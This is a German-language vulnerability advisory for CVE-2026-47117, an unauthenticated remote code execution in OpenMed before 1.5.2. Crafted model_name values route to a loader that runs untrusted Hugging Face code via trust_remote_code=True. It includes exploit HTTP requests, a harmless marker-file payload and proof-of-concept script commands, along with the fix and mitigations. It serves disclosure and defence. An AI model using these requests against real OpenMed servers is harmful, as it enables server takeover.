
OpenMed < 1.5.2 RCE ohne Authentifizierung über das Laden des PII-Datenschutzfilter-Modells und trust_remote_code=True
Schweregrad: Kritisch, CVSS 4.0 9.3, CVSS 3.1 9.8 (vergeben von VulnCheck, der CNA)
Vektor (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vektor (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Betroffen: OpenMed < 1.5.2
Behoben in: 1.5.2
CWE: CWE-94 (Unzureichende Kontrolle der Codegenerierung, Code-Injection)
Gemeldet von: Sai Teja Erukude
CNA: VulnCheck
Veröffentlicht: 2. Juni 2026
OpenMed vor 1.5.2 weist eine Schwachstelle bezüglich nicht authentifizierter Remote-Codeausführung im Modellladepfad des PII-Datenschutzfilters auf.
Die REST-API-Endpunkte POST /pii/extract und POST /pii/deidentify akzeptieren einen model_name-Wert aus dem Anfragetext. In verwundbaren Versionen verwendete der Datenschutzfilter-Dispatcher eine breite Teilzeichenfolgen-Übereinstimmung für diesen vom Angreifer kontrollierten Wert. Ein Modellname wie attacker/foo-privacy-filter-bar konnte daher in das Datenschutzfilter-Backend geleitet werden.
Bei Nicht-MLX/Torch-Bereitstellungen lud dieses Backend Hugging-Face-Modellartefakte über Transformers mit trust_remote_code=True. Wenn das vom Angreifer kontrollierte Modell-Repository benutzerdefinierten Transformers-Code enthielt, der über auto_map in config.json oder tokenizer_config.json referenziert wurde, importierte und führte Transformers diesen Python-Code während des Modell- oder Tokenizer-Ladens aus.
Der importierte Code wurde mit den Berechtigungen des OpenMed-Dienstprozesses ausgeführt.
Ein nicht authentifizierter Remote-Angreifer, der die OpenMed-REST-API erreichen kann, kann beliebigen Python-Code auf dem Server ausführen, indem er eine schädliche Hugging-Face-artige Modellkennung in model_name angibt.
Je nach Bereitstellung des Dienstes kann dies Folgendes ermöglichen:
Das Problem ist über beide PII-Endpunkte erreichbar, da beide model_name akzeptieren und denselben PII-Extraktions-/Modellladepfad verwenden:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
Der verwundbare Kontrollfluss weist zwei Vertrauensgrenzen-Fehler auf:
model_name bei der Auswahl des Datenschutzfilter-Backends.trust_remote_code=True lud.Der Dispatcher behandelte jede Modellkennung, die privacy-filter enthält, als Teil der Privacy-Filter-Familie. Dadurch konnten vom Angreifer kontrollierte Kennungen, zum Beispiel attacker/foo-privacy-filter-bar, einen Codepfad erreichen, der für vertrauenswürdige First-Party-Privacy-Filter-Modelle vorgesehen war.
Einmal dorthin geleitet, konnte Transformers vom Angreifer kontrollierten benutzerdefinierten Code über auto_map laden. Dieser Import erfolgt während des Modell-/Tokenizer-Ladens, bevor eine sinnvolle Inferenz gelingen muss. Ein Proof-Payload kann daher so klein sein wie:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py erstellt ein harmloses lokales Hugging-Face-artiges Modellverzeichnis, dessen Name privacy-filter enthält. Die generierten benutzerdefinierten Transformers-Module schreiben beim Import eine Markierungsdatei. Das Skript sendet dann eine Anfrage an eine OpenMed-Test-API-Instanz mit diesem Verzeichnis als model_name.
Das erwartete Verhalten bei verwundbaren OpenMed-Versionen ist:
model_name.trust_remote_code=True ist.Nur gegen eine lokale Testinstanz ausführen:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Wenn der OpenMed-Dienst an einem Ort ausgeführt wird, der nicht auf das generierte lokale Verzeichnis zugreifen kann, veröffentlichen Sie ein entsprechendes Testmodell in einem kontrollierten Hugging-Face-Repository und übergeben Sie diese Kennung explizit:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Aktualisieren Sie auf OpenMed 1.5.2 oder höher.
OpenMed 1.5.2 trennt Routing von Vertrauen:
privacy-filter enthalten, werden nicht mehr über den vertrauenswürdigen Privacy-Filter-Pfad geleitet.PrivacyFilterTorchPipeline setzt trust_remote_code standardmäßig auf False.OPENMED_TRUSTED_REMOTE_CODE_MODELS auf die Zulassungsliste setzen.Wenn ein sofortiges Upgrade nicht möglich ist:
model_name-Werte an Transformers mit trust_remote_code=True.| Datum | Ereignis |
|---|---|
| 18. Mai 2026 | Schwachstelle an VulnCheck übermittelt |
| 20. Mai 2026 | VulnCheck leitete die koordinierte Offenlegung ein |
| 22. Mai 2026 | CVE-2026-47117 vorläufig vergeben |
| 1. Juni 2026 | Fix für OpenMed 1.5.2 überprüft und bestätigt |
| 2. Juni 2026 | CVE-2026-47117 veröffentlicht |
Entdeckt und gemeldet von Sai Teja Erukude, koordiniert über VulnCheck.